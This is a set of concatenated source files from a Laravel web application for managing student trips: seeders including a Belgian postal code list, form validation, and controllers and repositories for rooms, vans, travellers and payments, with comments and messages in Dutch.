=> "ICT" )); //id = 2 DB::table('majors')->insert(array( 'study_id' => 1, 'major_name' => "ELO" )); //id = 3 DB::table('majors')->insert(array( 'study_id' => 2, 'major_name' => "EM" )); //id = 4 DB::table('majors')->insert(array( 'study_id' => 2, 'major_name' => "ENT" )); /** * IDs hier hetzelfde laten aub * Deze worden gebruikt om de rol van de user te bepalen */ //id = 5 DB::table('majors')->insert(array( 'study_id' => 3, 'major_name' => "Docent" )); //id = 6 DB::table('majors')->insert(array( 'study_id' => 3, 'major_name' => "Extern" )); } } <file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class RegistrationFormAddZip extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * * Get the error messages for the defined validation rules. * * @return array Returns an array of all validator messages. * */ public function messages() { return [ 'city.reuired' => 'je moet een stad of gemeente invullen bij het toevoegen van een postcode', 'city.max' => 'de ingevulde gemeentenaam is te lang', 'city.unique' => 'De naam van de gemeente bestaat al in de database', 'zip_code.required' => 'Je moet een postcode invullen', 'zip_code.postal_code' => 'je hebt een niet geldige postcode ingevuld', ]; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'city' =>'required | max:50 |unique:zips,city', 'zip_code' => 'required|postal_code:NL,BE', // ]; } } <file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\PageRepository; Use App\Models\Page; /** * accessing Page data * * @author u0067341 */ class EloquentPage implements PageRepository { /** * get page with name * @param type $sPageName */ public function get($sPageName) { try { $page = Page::where('name', $sPageName)->firstOrFail(); return $page; }catch (ModelNotFoundException $ex) { return "Sorry but this link has no content"; } } public function updateHomePage($sPageContent) { Page::where('name', 'Home')->update(['content' => $sPageContent]); } public function getAllInfoPages() { return Page::where('name','!=','Home')->get(); } public function create($sPageName) { $oPage = new Page; Page::insert([ 'name'=>$sPageName, 'content'=>'', 'is_visible'=>false, 'type'=>'pdf' ]); } public function update($aPageData,$iPageId){ Page::where('page_id', $iPageId)->update($aPageData); } public function delete($iPageId) { $oPage = Page::where('page_id',$iPageId)->first(); if ($oPage->name != "Home"){ $oPage->delete(); return true; }else{ return false; } } } <file_sep><?php namespace App\Http\Controllers\Traveller; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use App\Repositories\Contracts\TransportRepository; use App\Repositories\Contracts\TripRepository; class Transport extends Controller { /** * * @var transportRepository */ private $transports; /** * * @var tripRepository */ private $trips; /** * transportController Constructor * * @param transportRepository $transport * */ public function __construct(TransportRepository $transport, TripRepository $trip) { $this->transports = $transport; $this->trips = $trip; } /** * * @return type */ public function overview() { //get the active user $user = Auth::user(); $currentTravellerId=$user->traveller->traveller_id; //get the active trip for this user $activeTripsForTraveller = $this->trips->getActiveTripsForTraveller($user->user_id); if($activeTripsForTraveller->count() == 0){ return redirect()->back()->with('errormessage', 'er zijn geen actieve reizen om weer te geven'); }elseif($activeTripsForTraveller->count() > 1){ return redirect()->back()->with('errormessage', 'je bent ingeschreven voor meerdere actieve reizen, je kan maar met één actieve reis meegaan. Raadpleeg de organisator'); } $tripId = $activeTripsForTraveller[0]['trip_id']; /* store active trip to session */ Session::put('tripId', $tripId); /* Get the current trip */ $currentTrip = $this->trips->get($tripId); /* get all vans for the current trip */ $vansPerTrip = $this->transports->getVansPerTrip($tripId); $occupationPerVan = array(); $travellersPerVan = array(); foreach ($vansPerTrip as $van){ $occupationPerVan[$van->transport_id] = $this->transports->getVanOccupation($van->transport_id); $travellersPerVan[$van->transport_id]= $this->transports->getTravellersPerVan($van->transport_id); } return view('user.transport.vans', [ 'currentTrip' => $currentTrip, 'vansPerTrip' => $vansPerTrip, 'occupationPerVan' => $occupationPerVan, 'travellersPerVan' => $travellersPerVan, 'currentTravellerId' => $currentTravellerId, ]); } /** * This function adds a traveller to a van * * @author <NAME> * * @param integer $transportId * @return \Illuminate\Http\RedirectResponse */ function selectVan($transportId){ $oUser = Auth::user(); $travellerId = $oUser->traveller->traveller_id; $tripId = session('tripId'); //check if already has room for this hotel_trip $hasTransport = $this->transports->hasTransport($travellerId,$tripId); if (!$hasTransport){ $this->transports->addTravellerToVan($travellerId,$transportId); return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'U heeft al een vervoer gekozen voor deze reis'); } } /** * This function deletes a user out of a hotel room * * @author <NAME> * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ function leaveVan($transportId,$travellerId = null){ if ($travellerId == null){ $oUser = Auth::user(); $travellerId=$oUser->traveller->traveller_id; } $this->transports->removeFromVan($transportId,$travellerId); return redirect()->back()->with('successmessage', 'U kunt nu een andere kamer kiezen'); } } <file_sep><?php use Illuminate\Database\Seeder; class RoomsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // DB::table('rooms')->insert(array( 'hotel_trip_id' => 1, 'size' => 4, )); DB::table('rooms')->insert(array( 'hotel_trip_id' => 1, 'size' => 4, )); DB::table('rooms')->insert(array( 'hotel_trip_id' => 2, 'size' => 4, )); } } <file_sep><?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\UserRepository; class OrganizerController extends Controller { /** * * @var TripRepository */ private $trips; /** * * @var TravellerRepository */ private $users; /** * Create a new controller instance. * * @return void */ public function __construct(TripRepository $trip, UserRepository $user) { $this->trips = $trip; $this->users = $user; } /** * This function will show the ActiveTripOrganizer view * * @author <NAME> * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * */ public function show($iTripId = 0) { $aActiveTrips = $this->trips->getAllActive(); foreach ($aActiveTrips as $oTrip){ $aTripSelectList[$oTrip->trip_id] = $oTrip->name." ".$oTrip->year; } $aGuides = $this->users->getGuides(); if($iTripId != 0){ $aOrganizers = $this->trips->getOrganizersByTrip($iTripId); }else{ $aOrganizers = []; } return view( 'admin.organizers.showOrganizer', [ 'aActiveTrips' => $aTripSelectList, 'iTripId' => $iTripId, 'aGuides' => $aGuides, 'aOrganizers' => $aOrganizers, ]); } } <file_sep><?php use Carbon\Carbon; use Illuminate\Database\Seeder; class HotelTripSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // DB::table('hotel_trip')->insert(array( 'hotel_id' => 1, 'trip_id' => 1, 'start_date'=>Carbon::create('2018', '12', '15'), 'end_date'=>Carbon::create('2018', '12', '16') )); DB::table('hotel_trip')->insert(array( 'hotel_id' => 2, 'trip_id' => 1, 'start_date'=>Carbon::create('2018', '12', '16'), 'end_date'=>Carbon::create('2018', '12', '19') )); DB::table('hotel_trip')->insert(array( 'hotel_id' => 3, 'trip_id' => 2, 'start_date'=>Carbon::create('2018', '12', '19'), 'end_date'=>Carbon::create('2018', '12', '20') )); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Trip extends Model { protected $primaryKey = 'trip_id'; public function travellers() { return $this->belongsToMany(Traveller::class,null,'trip_id','traveller_id') ->withTimestamps() ->withPivot(['is_guide','is_organizer']); } public function accomodations() { return $this->belongsToMany(Hotel::class,null,'trip_id','hotel_id') ->withTimestamps() ->withPivot(['id','start_date','end_date']); } public function vans() { return $this->hasMany('App\Models\Transport','trip_id','trip_id'); } public function payments() { return $this->hasMany('App\Models\Payment','trip_id','trip_id'); } public function scopeIsActive($query) { return $query->whereIs_active(1)->orderBy('name'); } public function scopeHasContact($query) { return $query->whereNotNull('Contact_mail'); } } <file_sep><?php namespace App\Http\Controllers\Traveller; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Repositories\Contracts\RoomRepository; use App\Repositories\Contracts\AccomodationRepository; use Illuminate\Support\Facades\Auth; class Rooms extends Controller { /** * * @var roomRepository */ private $rooms; /** * * @var travellerRepository */ private $accomodations; /** * roomsController Constructor * * @param roomRepository $room * */ public function __construct(RoomRepository $room, AccomodationRepository $accomodation) { $this->rooms = $room; $this->accomodations = $accomodation; } /** * This function gets all rooms of the selected hotel for an admin or an organizer * * @author <NAME> * * @param $hotelTripId * @param $accomodationId * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ function overview($hotelTripId, $accomodationId) { /* store hotelTripId and hotelId in session*/ session(['hotelTripId' => $hotelTripId, 'hotelId' => $accomodationId]); $oUser=Auth::user(); $userTravellerId=$oUser->traveller->traveller_id; /* get all the rooms and their occupation */ $aRooms = $this->rooms->getRoomsPerAccomodationPerTrip($hotelTripId); $aCurrentOccupation = array(); $aTravellerPerRoom = array(); foreach ($aRooms as $oRoom){ $aCurrentOccupation[$oRoom->room_id] = $this->rooms->getRoomOccupation($oRoom->room_id); $aTravellerPerRoom[$oRoom->room_id]= $this->rooms->getTravellersPerRoom($oRoom->room_id); } /* get the name of the accomodation */ $accomodationName = $this->accomodations->getAccomodationName($accomodationId); return view('user.accomodations.rooms', [ 'userTravellerId'=>$userTravellerId, 'hotelTripId'=>$hotelTripId, 'tripId'=>session('tripId'), 'hotelName'=>$accomodationName, 'aRooms' => $aRooms, 'aCurrentOccupation' => $aCurrentOccupation, 'aTravellerPerRoom' =>$aTravellerPerRoom ]); } /** * This function adds a user to a hotel room * * @author <NAME> * * @param integer $roomId * @return \Illuminate\Http\RedirectResponse */ function selectRoom($roomId){ $oUser = Auth::user(); $travellerId=$oUser->traveller->traveller_id; $hotelTripId = session('hotelTripId'); //check if already has room for this hotel_trip $hasRoom = $this->rooms->hasRoom($travellerId,$hotelTripId); if (!$hasRoom){ $this->rooms->addTravellerToRoom($travellerId,$roomId); return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'U heeft al een kamer gekozen in dit hotel'); } } /** * This function deletes a user out of a hotel room * * @author <NAME> * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ function leaveRoom($roomId,$travellerId = null){ if ($travellerId == null){ $oUser = Auth::user(); $travellerId=$oUser->traveller->traveller_id; } $travellerId=$oUser->traveller->traveller_id; $this->rooms->deleteTravellerFromRoom($roomId,$travellerId); return redirect()->back()->with('successmessage', 'U kunt nu een andere kamer kiezen'); } } <file_sep>const mix = require('laravel-mix'); /* |-------------------------------------------------------------------------- | Mix Asset Management |-------------------------------------------------------------------------- | | Mix provides a clean, fluent API for defining some Webpack build steps | for your Laravel application. By default, we are compiling the Sass | file for the application as well as bundling up all the JS files. | */ mix.setPublicPath('../www'); mix.setResourceRoot('/'); mix.js([ 'resources/js/app.js', 'node_modules/bootstrap-select/dist/js/bootstrap-select.min.js', 'node_modules/bootstrap-select/dist/js/i18n/defaults-nl_NL.min.js' ], 'js'); mix.js('resources/js/dropdown/cascadingDropDownStudyMajors.js', 'js/dropdown'); mix.js('resources/js/dropdown/cascadingDropDownDestinationAccomodation.js', 'js/dropdown'); mix.sass('resources/sass/app.scss', 'css'); mix.copy('resources/datatables/datatables.min.css','../www/css/datatables'); mix.copy('resources/datatables/datatables.min.js', '../www/js/datatables');<file_sep><?php use Illuminate\Database\Seeder; class RoomTravellerTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { DB::table('room_traveller')->insert(array( 'traveller_id' => 3, 'room_id' => 1, )); DB::table('room_traveller')->insert(array( 'traveller_id' => 5, 'room_id' => 1, )); DB::table('room_traveller')->insert(array( 'traveller_id' => 7, 'room_id' => 1, )); } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of TravellerRepository * * @author u0067341 */ interface TransportRepository { /** * add transportation * * @return boolean */ public function addTransport($tripId,$driverId,$size); /** * delete transportation * * @return boolean */ public function deleteTransport($transportId); /** * get all accomodations for a specific trip * * @return collection */ public function getVansPerTrip($iTripId); /** * get the curruent occupation of a van * * @return collection */ public function getVanOccupation($vanId); /** * get all travellers for a van * * @return collection */ public function getTravellersPerVan($vanId); /** * checks if a travellers has select transport for this trip * * @return boolean */ public function hasTransport($travellerId,$tripId); /** * adds a travellers to the selected transport * * @return boolean */ public function addTravellerToVan($travellerId,$transportId); /** * remover traveller from the selected transport * * @return boolean */ public function removeFromVan($transportId,$travellerId); }<file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\TravellerRepository; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use App\Models\User; use App\Models\Traveller; use App\Models\Trip; use App\Models\Payment; /** * Description of EloquentTraveller * * @author u0067341 */ class EloquentTraveller implements TravellerRepository { /** * Insert new record into user table and traveller table * * @author <NAME> * @param type $aData */ public function store($aData) { DB::beginTransaction(); /* Create the User */ try{ $oUser = new User; $oUser->username = $aData['username']; $oUser->password = $aData['<PASSWORD>']; $oUser->role = $aData['role']; $oUser->save(); $iUserId = User::where('username', $oUser->username)->first()->user_id; /* Create the traveller */ $oTraveller = new Traveller; $oTraveller->user_id = $iUserId; $oTraveller->major_id = $aData['major_id']; $oTraveller->first_name = $aData['first_name']; $oTraveller->last_name = $aData['last_name']; $oTraveller->email = $aData['email']; $oTraveller->country = $aData['country']; $oTraveller->address = $aData['address']; $oTraveller->zip_id = $aData['zip_id']; $oTraveller->gender = $aData['gender']; $oTraveller->phone = $aData['phone']; $oTraveller->emergency_phone_1 = $aData['emergency_phone_1']; $oTraveller->emergency_phone_2 = $aData['emergency_phone_2']; $oTraveller->nationality = $aData['nationality']; $oTraveller->birthdate = $aData['birthdate']; $oTraveller->birthplace = $aData['birthplace']; $oTraveller->iban = $aData['iban']; $oTraveller->bic = $aData['bic']; $oTraveller->medical_issue = $aData['medical_issue']; $oTraveller->medical_info = $aData['medical_info']; $oTraveller->save(); /* link the traveller to the trip */ if($aData['role'] == 'guide') { $bIsGuide = true; }else{ $bIsGuide = false; } $oTraveller->trips()->attach($aData['trip_id'],['is_guide' => $bIsGuide, 'is_organizer' => false]); }catch(\Exception $e) { DB::rollback(); throw $e; } DB::commit(); } /** * get All travellerdata as an array based on the user_id * * @author <NAME> * * @param $id the user_id * @return $aProfileData all Traveller Data */ public function get($id){ $travellers = Traveller::with('user' , 'zip', 'major', 'major.study','trips')->where('user_id',$id)->first(); $aProfileData = $travellers->attributesToArray(); $aProfileData = array_merge($aProfileData,$travellers->User->attributesToArray()); $aProfileData = array_merge($aProfileData,$travellers->Zip->attributesToArray()); $aProfileData = array_merge($aProfileData,$travellers->Major->attributesToArray()); $aProfileData = array_merge($aProfileData,$travellers->Major->Study->attributesToArray()); $aProfileData = array_merge($aProfileData,$travellers->Trips[0]->attributesToArray()); $profileDataCollection = collect($aProfileData); return $profileDataCollection; } /** * get userId by username * @param string the username (u,r or b nummer) * @return integer the userId */ public function getIdByUsername($sUsername) { return User::where('username',$sUsername)->first()->user_id; } /** * get traveller by email * @param $sEmail the users email * @return $oTraveller object of type Traveller */ public function getByEmail($sEmail) { $oTraveller = Traveller::where('email', $sEmail)->first(); return $oTraveller; } /** * update the traveller data based on the given array * * @author <NAME> * * @param $aProfileData all Traveller Data * @return */ public function update($aProfileData,$userId){ $oTraveller = Traveller::where('user_id',$userId)->first(); $oTraveller->update($aProfileData); } /** * change the trip the attendant is part of * * @author <NAME> * * @param integer $userId * @param integer $tripIdOld * @param integer $tripIdNew * @return */ public function changeTrip($iUserId, $iTripIdOld, $iTripIdNew){ $oTrip = Traveller::where('user_id',$iUserId)->first() ->trips()->wherePivot('trip_id',$iTripIdOld)->first(); if ($oTrip != null){ $oTrip->pivot->trip_id = $iTripIdNew; $oTrip->pivot->save(); } return true; } /** * Deletes the data of a selected traveller * * @author <NAME> * * @param $sUserName * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector|string */ public function destroy($sUserName){ $oUser = User::where('username', $sUserName)->firstOrFail(); $oUser->delete(); } /** * check if loggedin user is organiser for the given trip * @author <NAME> * @param integer $iTripid the trip_id * @return boolean $isOrganizer */ public function isOrganizerForTheTrip($iTripId){ $bIsOrganizer = FALSE; $oUser = Auth::user(); if ($oUser->role == 'admin') { $bIsOrganizer = true; }elseif($oUser->role == 'guide'){ $oTrip = Traveller::where('user_id',$oUser->user_id)->first() ->trips()->wherePivot('trip_id',$iTripId)->first(); if ($oTrip != null){ $bIsOrganizer = $oTrip->pivot->is_organizer; } } return $bIsOrganizer; } /* * Returns the traveller data based on the trip id and requested datafields. Will return a paginated list if requested * * @author <NAME> * * @param $iTripId * @param $aDataFields * @param null $iPagination (optional) * * @return mixed */ public function getTravellersDataByTrip($iTripId, $aDataFields) { // voorlopige versie met join en gebruik van de pivot table traveller_trip // $allTravellerData = Traveller::whereHas('trips', function ($q) use ($iTripId) { // $q->where('trips.trip_id', $iTripId);}) // ->with(['user','zip','major','major.study']) // ->get(); // foreach($allTravellerData as $travellerData){ // $aData = $travellerData->attributesToArray(); // $aData = array_merge($aData,$travellerData->User->attributesToArray()); // $aData = array_merge($aData,$travellerData->Zip->attributesToArray()); // $aData = array_merge($aData,$travellerData->Major->attributesToArray()); // //$aData = array_merge($aData,$$travellerData->Major->Study->attributesToArray()); // $aAllData[]=$aData; // } // //$aData = array_merge($aData,$travellers->Trips[0]->attributesToArray()); // $dataCollection = collect($aAllData)->only(array_keys($aDataFields))->all(); // dd($allTravellerData,$dataCollection); $travellerData = Traveller::select(array_keys($aDataFields)) ->join('users','travellers.user_id','=','users.user_id') ->join('zips','travellers.zip_id','=','zips.zip_id') ->join('majors','travellers.major_id','=','majors.major_id') ->join('traveller_trip', 'travellers.traveller_id', '=', 'traveller_trip.traveller_id') ->join('studies','majors.study_id','=','studies.study_id') ->where('trip_id', $iTripId) ->orderBy('role', 'asc') ->orderBy('major_name', 'asc') ->orderBy('last_name', 'asc') ->get()->toArray(); return $travellerData; } public function getPaymentData($iTripId){ $aTripData = Trip::where('trip_id',$iTripId)->select('trip_id','price')->first()->attributesToArray(); $travellers = Trip::where('trip_id', $iTripId)->first()->travellers() ->select('travellers.traveller_id','user_id','first_name','last_name','iban') ->withCount(['payments AS totalpaid' => function($query) use ($iTripId) { $query->select(DB::raw("SUM(amount)"))->where('trip_id', $iTripId);}]) ->get(); foreach($travellers as $traveller){ $aPaymentData[$traveller->traveller_id] = $traveller->attributesToArray(); $aPaymentData[$traveller->traveller_id] = array_merge($aPaymentData[$traveller->traveller_id],$traveller->User->attributesToArray()); $aPaymentData[$traveller->traveller_id] = array_merge($aPaymentData[$traveller->traveller_id],$aTripData); } return $aPaymentData; } public function getPayments($iTripId,$iTravellerId) { $aPaymentsPerUser = Payment::where([ ['traveller_id', '=', $iTravellerId], ['trip_id', '=', $iTripId], ])->orderBy('date_of_payment', 'asc')->get(); return $aPaymentsPerUser; } public function deletePayment($iPaymentId) { Payment::destroy($iPaymentId); return true; } public function addPayment($aPaymentData) { $oPayment = new Payment; $oPayment->traveller_id = $aPaymentData['traveller_id']; $oPayment->trip_id = $aPaymentData['trip_id']; $oPayment->amount = $aPaymentData['amount']; $oPayment->date_of_payment = $aPaymentData['date_of_payment']; $oPayment->save(); return true; } } <file_sep><?php namespace App\Http\Controllers; use App\Exports\UsersExport; use Maatwebsite\Excel\Facades\Excel; use App\Exports\PaymentsExport; use App\Repositories\Contracts\PaymentRepository; class ExportController extends Controller { protected $payments; public function __construct(PaymentRepository $payments) { $this->payments = $payments; } function paymentsExport($iTripId) { $paymentDataToExport = $this->payments->getByTrip($iTripId); if ($paymentDataToExport != False){ return Excel::download(new PaymentsExport($paymentDataToExport),'payments.xlsx'); }else{ return back()->with('errormessage', 'Er zijn geen betalingsgegevens om te exporteren'); } } }<file_sep><?php use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class ZipTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { DB::table('zips')->insert(array( array('city' => '\'s Gravenwezel', 'zip_code' => 2970), array('city' => '\'s Gerenelderen', 'zip_code' => 3700), array('city' => '3 suisses', 'zip_code' => 7510), array('city' => 'Aaigem', 'zip_code' => 9420), array('city' => 'Aalbeke', 'zip_code' => 8511), array('city' => 'Aalst', 'zip_code' => 3800), array('city' => 'Aalst', 'zip_code' => 9300), array('city' => 'Aalter', 'zip_code' => 9880), array('city' => 'Aarschot', 'zip_code' => 3200), array('city' => 'Aarsele', 'zip_code' => 8700), array('city' => 'Aartrijke', 'zip_code' => 8211), array('city' => 'Aartselaar', 'zip_code' => 2630), array('city' => 'Abée', 'zip_code' => 4557), array('city' => 'Abolens', 'zip_code' => 4280), array('city' => 'Achel', 'zip_code' => 3930), array('city' => 'Achêne', 'zip_code' => 5590), array('city' => 'Achet', 'zip_code' => 5362), array('city' => 'Acosse', 'zip_code' => 4219), array('city' => 'Acoz', 'zip_code' => 6280), array('city' => 'Adegem', 'zip_code' => 9991), array('city' => 'Adinkerke', 'zip_code' => 8660), array('city' => 'Affligem', 'zip_code' => 1790), array('city' => 'Afsnee', 'zip_code' => 9051), array('city' => 'Agimont', 'zip_code' => 5544), array('city' => 'Aineffe', 'zip_code' => 4317), array('city' => 'Aische-en-refail', 'zip_code' => 5310), array('city' => 'Aiseau', 'zip_code' => 6250), array('city' => 'Aisemont', 'zip_code' => 5070), array('city' => 'Alken', 'zip_code' => 3570), array('city' => 'Alle', 'zip_code' => 5550), array('city' => 'Alleur', 'zip_code' => 4432), array('city' => 'Alsemberg', 'zip_code' => 1652), array('city' => 'Alveringem', 'zip_code' => 8690), array('city' => 'Amay', 'zip_code' => 4540), array('city' => 'Amberloup', 'zip_code' => 6680), array('city' => 'AmblÈve', 'zip_code' => 4770), array('city' => 'Ambly', 'zip_code' => 6953), array('city' => 'Ambresin', 'zip_code' => 4219), array('city' => 'Amonines', 'zip_code' => 6997), array('city' => 'Amougies', 'zip_code' => 7750), array('city' => 'Ampsin', 'zip_code' => 4540), array('city' => 'Andenne', 'zip_code' => 5300), array('city' => 'Anderlecht', 'zip_code' => 1070), array('city' => 'Anderlues', 'zip_code' => 6150), array('city' => 'Andrimont', 'zip_code' => 4821), array('city' => 'Angleur', 'zip_code' => 4031), array('city' => 'Angre', 'zip_code' => 7387), array('city' => 'Angreau', 'zip_code' => 7387), array('city' => 'AnhÉe', 'zip_code' => 5537), array('city' => 'Anlier', 'zip_code' => 6721), array('city' => 'Anloy', 'zip_code' => 6890), array('city' => 'Annevoie-rouillon', 'zip_code' => 5537), array('city' => 'Ans', 'zip_code' => 4430), array('city' => 'Anseremme', 'zip_code' => 5500), array('city' => 'Anseroeul', 'zip_code' => 7750), array('city' => 'Anthée', 'zip_code' => 5520), array('city' => 'Antheit', 'zip_code' => 4520), array('city' => 'Anthisnes', 'zip_code' => 4160), array('city' => 'Antoing', 'zip_code' => 7640), array('city' => 'Antwerpen', 'zip_code' => 2000), array('city' => 'Antwerpen', 'zip_code' => 2018), array('city' => 'Antwerpen', 'zip_code' => 2020), array('city' => 'Antwerpen', 'zip_code' => 2030), array('city' => 'Antwerpen', 'zip_code' => 2040), array('city' => 'Antwerpen', 'zip_code' => 2050), array('city' => 'Antwerpen', 'zip_code' => 2060), array('city' => 'Antwerpen x', 'zip_code' => 2099), array('city' => 'Anvaing', 'zip_code' => 7910), array('city' => 'Anzegem', 'zip_code' => 8570), array('city' => 'Appels', 'zip_code' => 9200), array('city' => 'Appelterre-eichem', 'zip_code' => 9400), array('city' => 'Arbre', 'zip_code' => 5170), array('city' => 'Arbre', 'zip_code' => 7811), array('city' => 'Arbrefontaine', 'zip_code' => 4990), array('city' => 'Arc-ainières', 'zip_code' => 7910), array('city' => 'Arc-wattripont', 'zip_code' => 7910), array('city' => 'Archennes', 'zip_code' => 1390), array('city' => 'Ardooie', 'zip_code' => 8850), array('city' => 'Arendonk', 'zip_code' => 2370), array('city' => 'Argenteau', 'zip_code' => 4601), array('city' => 'Arlon', 'zip_code' => 6700), array('city' => 'Arquennes', 'zip_code' => 7181), array('city' => 'Arsimont', 'zip_code' => 5060), array('city' => 'Arville', 'zip_code' => 6870), array('city' => 'As', 'zip_code' => 3665), array('city' => 'Aspelare', 'zip_code' => 9404), array('city' => 'Asper', 'zip_code' => 9890), array('city' => 'Asquillies', 'zip_code' => 7040), array('city' => 'Asse', 'zip_code' => 1730), array('city' => 'Assebroek', 'zip_code' => 8310), array('city' => 'Assemblée de la commission communautaire française', 'zip_code' => 1007), array('city' => 'Assenede', 'zip_code' => 9960), array('city' => 'Assenois', 'zip_code' => 6860), array('city' => 'Assent', 'zip_code' => 3460), array('city' => 'Assesse', 'zip_code' => 5330), array('city' => 'Astene', 'zip_code' => 9800), array('city' => 'Ath', 'zip_code' => 7800), array('city' => 'Athis', 'zip_code' => 7387), array('city' => 'Athus', 'zip_code' => 6791), array('city' => 'Attenhoven', 'zip_code' => 3404), array('city' => 'Attenrode', 'zip_code' => 3384), array('city' => 'Attert', 'zip_code' => 6717), array('city' => 'Attre', 'zip_code' => 7941), array('city' => 'Aubange', 'zip_code' => 6790), array('city' => 'Aubechies', 'zip_code' => 7972), array('city' => 'Aubel', 'zip_code' => 4880), array('city' => 'Aublain', 'zip_code' => 5660), array('city' => 'Auby-sur-semois', 'zip_code' => 6880), array('city' => 'Audregnies', 'zip_code' => 7382), array('city' => 'Aulnois', 'zip_code' => 7040), array('city' => 'Autelbas', 'zip_code' => 6706), array('city' => 'Autre-eglise', 'zip_code' => 1367), array('city' => 'Autreppe', 'zip_code' => 7387), array('city' => 'Auvelais', 'zip_code' => 5060), array('city' => 'Ave-et-auffe', 'zip_code' => 5580), array('city' => 'Avekapelle', 'zip_code' => 8630), array('city' => 'Avelgem', 'zip_code' => 8580), array('city' => 'Avennes', 'zip_code' => 4260), array('city' => 'Averbode', 'zip_code' => 3271), array('city' => 'Avernas-le-bauduin', 'zip_code' => 4280), array('city' => 'Avin', 'zip_code' => 4280), array('city' => 'Awans', 'zip_code' => 4340), array('city' => 'Awenne', 'zip_code' => 6870), array('city' => 'Awirs', 'zip_code' => 4400), array('city' => 'Aye', 'zip_code' => 6900), array('city' => 'Ayeneux', 'zip_code' => 4630), array('city' => 'Aywaille', 'zip_code' => 4920), array('city' => 'Baaigem', 'zip_code' => 9890), array('city' => 'Baal', 'zip_code' => 3128), array('city' => 'Baardegem', 'zip_code' => 9310), array('city' => 'Baarle-hertog', 'zip_code' => 2387), array('city' => 'Baasrode', 'zip_code' => 9200), array('city' => 'Bachte-maria-leerne', 'zip_code' => 9800), array('city' => 'Baelen', 'zip_code' => 4837), array('city' => 'Bagimont', 'zip_code' => 5550), array('city' => 'Baileux', 'zip_code' => 6464), array('city' => 'Bailièvre', 'zip_code' => 6460), array('city' => 'Baillamont', 'zip_code' => 5555), array('city' => 'Bailleul', 'zip_code' => 7730), array('city' => 'Baillonville', 'zip_code' => 5377), array('city' => 'Baisieux', 'zip_code' => 7380), array('city' => 'Baisy-thy', 'zip_code' => 1470), array('city' => 'Balâtre', 'zip_code' => 5190), array('city' => 'Balegem', 'zip_code' => 9860), array('city' => 'Balen', 'zip_code' => 2490), array('city' => 'Bambrugge', 'zip_code' => 9420), array('city' => 'Bande', 'zip_code' => 6951), array('city' => 'Barbençon', 'zip_code' => 6500), array('city' => 'Barchon', 'zip_code' => 4671), array('city' => 'Baronville', 'zip_code' => 5570), array('city' => 'Barry', 'zip_code' => 7534), array('city' => 'Barvaux-condroz', 'zip_code' => 5370), array('city' => 'Barvaux-sur-ourthe', 'zip_code' => 6940), array('city' => 'Bas-oha', 'zip_code' => 4520), array('city' => 'Basècles', 'zip_code' => 7971), array('city' => 'Basse-bodeux', 'zip_code' => 4983), array('city' => 'Bassenge', 'zip_code' => 4690), array('city' => 'Bassevelde', 'zip_code' => 9968), array('city' => 'Bassilly', 'zip_code' => 7830), array('city' => 'Bastogne', 'zip_code' => 6600), array('city' => 'Batsheers', 'zip_code' => 3870), array('city' => 'Battice', 'zip_code' => 4651), array('city' => 'Battignies', 'zip_code' => 7130), array('city' => 'Baudour', 'zip_code' => 7331), array('city' => 'Bauffe', 'zip_code' => 7870), array('city' => 'Baugnies', 'zip_code' => 7604), array('city' => 'Baulers', 'zip_code' => 1401), array('city' => 'Bavegem', 'zip_code' => 9520), array('city' => 'Bavikhove', 'zip_code' => 8531), array('city' => 'Bazel', 'zip_code' => 9150), array('city' => 'Beaufays', 'zip_code' => 4052), array('city' => 'Beaumont', 'zip_code' => 6500), array('city' => 'Beauraing', 'zip_code' => 5570), array('city' => 'Beausaint', 'zip_code' => 6980), array('city' => 'Beauvechain', 'zip_code' => 1320), array('city' => 'Beauwelz', 'zip_code' => 6594), array('city' => 'Beclers', 'zip_code' => 7532), array('city' => 'Beek', 'zip_code' => 3960), array('city' => 'Beerlegem', 'zip_code' => 9630), array('city' => 'Beernem', 'zip_code' => 8730), array('city' => 'Beerse', 'zip_code' => 2340), array('city' => 'Beersel', 'zip_code' => 1650), array('city' => 'Beerst', 'zip_code' => 8600), array('city' => 'Beert', 'zip_code' => 1673), array('city' => 'Beervelde', 'zip_code' => 9080), array('city' => 'Beerzel', 'zip_code' => 2580), array('city' => 'Beez', 'zip_code' => 5000), array('city' => 'Beffe', 'zip_code' => 6987), array('city' => 'Begijnendijk', 'zip_code' => 3130), array('city' => 'Beho', 'zip_code' => 6672), array('city' => 'Beigem', 'zip_code' => 1852), array('city' => 'Bekegem', 'zip_code' => 8480), array('city' => 'Bekkerzeel', 'zip_code' => 1730), array('city' => 'Bekkevoort', 'zip_code' => 3460), array('city' => 'Belgische senaat', 'zip_code' => 1009), array('city' => 'Belgrade', 'zip_code' => 5001), array('city' => 'Bellaire', 'zip_code' => 4610), array('city' => 'Bellecourt', 'zip_code' => 7170), array('city' => 'Bellefontaine', 'zip_code' => 5555), array('city' => 'Bellefontaine', 'zip_code' => 6730), array('city' => 'Bellegem', 'zip_code' => 8510), array('city' => 'Bellem', 'zip_code' => 9881), array('city' => 'Bellevaux', 'zip_code' => 6834), array('city' => 'Bellevaux-ligneuville', 'zip_code' => 4960), array('city' => 'Bellingen', 'zip_code' => 1674), array('city' => 'Beloeil', 